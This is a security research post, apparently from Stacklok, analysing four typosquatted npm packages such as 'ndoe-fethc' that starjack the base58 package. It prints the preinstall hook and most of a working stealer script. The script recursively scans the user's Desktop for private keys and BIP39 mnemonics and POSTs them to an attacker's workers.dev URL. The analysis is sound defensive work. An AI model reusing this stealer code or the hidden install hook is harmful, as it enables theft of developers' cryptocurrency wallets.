Stacklok Insight is a free-to-use web app that provides data and scoring on the supply chain risk for open source packages.
On August 1st, the Trusty threat detection platform alerted us to 4 suspicious npm packages published by the same author basedb58
over the past day.
Our investigation revealed that upon installation, a malicious script bundled with these packages attempts to locate and exfiltrate cryptocurrency wallet secrets from the user’s Desktop.
As an indicator of supply chain risk, Trusty attempts to establish a proof of origin verification for published packages to their GitHub source repository. These packages all claimed https://github.com/jimeh/node-base58 as their repository URL, in an effort to starjack as the more popular npm package base58
.
Trusty was unable to match the packages to this source repository. This is reflected in the provenance scoring given, taking the package ndoe-fethc
as an example.
In comparison, for the legitimate package, Trusty was able to map all 5 package releases to historical Git tags, validating the repo claim and verifying proof of origin.
As an aside, note the package has not been updated for 6 years. Amongst other signals, this has negatively impacted its overall Trusty score.
Returning to our example ndoe-fethc
, the author has ensured execution of the script unhook
upon installation by the addition of a preinstall hook, as can be seen in the package.json
.
Other metadata - such as the author and contributor information - has been copied from the legitimate package, and as such are not relevant.
{
"name": "ndoe-fethc",
"version": "2.3.2",
"keywords": [
"base58, flickr"
],
"description": "Flickr Flavored Base58 Encoding and Decoding",
"license": "MIT",
"author": {
"name": "Jim Myhrberg",
"email": "contact@jimeh.me"
},
"contributors": [
"Louis Buchbinder github@louisbuchbinder.com"
],
"repository": {
"type": "git",
"url": "https://github.com/jimeh/node-base58.git"
},
"main": "./src/base58",
"engines": {
"node": ">= 6"
},
"devDependencies": {
"eslint": "^5.6.0",
"eslint-config-prettier": "^3.0.0",
"eslint-plugin-prettier": "^2.7.0",
"mocha": "^5.2.0",
"prettier": "^1.14.3"
},
"scripts": {
"lint": "eslint .",
"lint-fix": "eslint . --fix",
"test": "mocha",
"preinstall": "node ./src/unhook"
}
}
The following script, which can be reviewed in full on Stacklok’s jail repository, has clear indicators of crypto-stealing capabilities:
Private key and mnemonic phrase enumeration
Exfiltrating stolen data to a remote server
Targeting specific file extensions
Let’s dissect the script in stages.
The wordlist
array contains 2048 words. This is typically the size of a BIP39 word list, used for generating mnemonic phrases in cryptocurrency wallets.
The script also defines some directories and files to be ignored, along with setting the allowed extensions to process.
const fs = require('fs/promises');
const os = require("os");
const path = require('path');
const fetch = require('node-fetch');
const b39 = require('bip39'); // For validating mnemonic phrases
// Predefined word list used for mnemonic validation
const wordlist = [
"abandon",
"ability",
"able",
"about",
"above",
"absent",
"absorb",
"abstract",
"absurd",
"abuse",
"access",
// (list of words truncated for brevity)
];
const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms * 1000));
const IGNORED_DIRS = ['node_modules', 'target', 'build', 'webpack', '.vscode'];
const IGNORED_FILES = ['package-lock.json', 'package.json', 'webpack'];
let dupes = []; // To store unique sensitive information found
const ALLOWED_EXTENSIONS = new Set(['.js', '.cjs', '.txt', '.json', '.mjs', '.py', '.csv', '.ts', '.env']);
let proms = []; // To store mnemonics before sending
The main body of the stealer functionality is contained here, in the function iter()
. This recursively searches through directories and reads files of specified extensions to scan for sensitive crypto wallet information such as private keys and mnemonic phrases.
// Function to recursively iterate through directories and process files
async function iter(dir) {
let entries;
try {
entries = await fs.readdir(dir, { withFileTypes: true }); // Read directory contents
} catch {
// Handle errors silently
}
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isDirectory()) {
// If entry is a directory and not ignored, recursively process it
if (!IGNORED_DIRS.includes(entry.name)) {
await iter(fullPath);
}
} else if (entry.isFile()) {
// If entry is a file and not ignored, process it
if (IGNORED_FILES.includes(entry.name)) continue;
const ext = path.extname(entry.name);
if (ALLOWED_EXTENSIONS.has(ext)) {
try {
const content = await fs.readFile(fullPath, 'utf-8');
if (content.split('\n').length < 1000) {
for (const line of content.split('\n')) {
try {
// Check for lines indicating private key presence
if (line.includes("Keypair.fromSecretKey(Uint8Array.from([") ||
line.includes("Keypair.fromSecretKey(bs58.decode(") ||
line.toString().toLowerCase().includes("privatekey=")) {
if (line.length < 1000 && !dupes.includes(line)) {
dupes.push(line);
await gsa(line); // Exfil private keys to the remote server
}
}
} catch {}
// Check for mnemonic phrases
let start = false;
let arr = [];
const linerep = line.replace(/[^a-zA-Z]/g, ' ');
if (linerep.length < 1000) {
for (const each of linerep.split(' ')) {
if (each !== ' ' && each.length > 0 && each !== '\n') {
if (wordlist.includes(each)) {
if (!start) {
start = true;
}
if (start) {
arr.push(each);
}
} else {
if (start) {
start = false;
break;
}
}
}
}
if (arr.length > 10) {
const arrjoin = arr.join(' ');
if (b39.validateMnemonic(arrjoin)) {
if (!dupes.includes(arrjoin)) {
dupes.push(arrjoin);
proms.push(arrjoin);
if (proms.length >= 2) {
try {
await gsa(proms); // Exfil mnemonics
proms = [];
} catch {proms = []}
}
}
}
}
}
}
}
} catch {}
}
}
}
}
Extracted data is sent in JSON form to an attacker-controlled domain using fetch()
.
async function gsa(data) {
await fetch("https://mainnet.beta-mainnet.workers.dev/", {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
}
The attacker has abused Cloudflare’s workers.dev
service to host their exfiltration site.
Finally, the ite()
simply passes the user’s Desktop directory path to the iter()
function, starting the recursive stealing from there.
// Function to start the process from the user's Desktop directory
async function ite() {
const dp = path.join(os.homedir(), 'Desktop');
await iter(dp);
}
ite();
We reported these packages to npm within a day of their publication. The GitHub Trust & Safety team responded swiftly, removing the packages and deleting the associated npm account.
In the brief time they were live, the packages had around 50 downloads each.
This latest incident continues to highlight the vulnerability of the open source ecosystem to abuse by malicious actors using it as a vector to distribute malware.
Attackers can easily create disposable accounts to publish harmful packages that mimic legitimate ones, exploiting the trust developers place in popular repositories and packages. In this case, affected users could have had their cryptocurrency wallets compromised.
Verification of package provenance, such as Trusty's proof of origin checks, is crucial in reducing supply chain risk. But this is just one aspect of assessing safety and trustworthiness in a complex network of maintainers, contributors, repositories, versions, and transitive dependencies.
Our Trusty package detection system ingests various metadata signals to provide an amalgamated score as a proxy for supply chain risk.
Poppaea McDermott
Security Researcher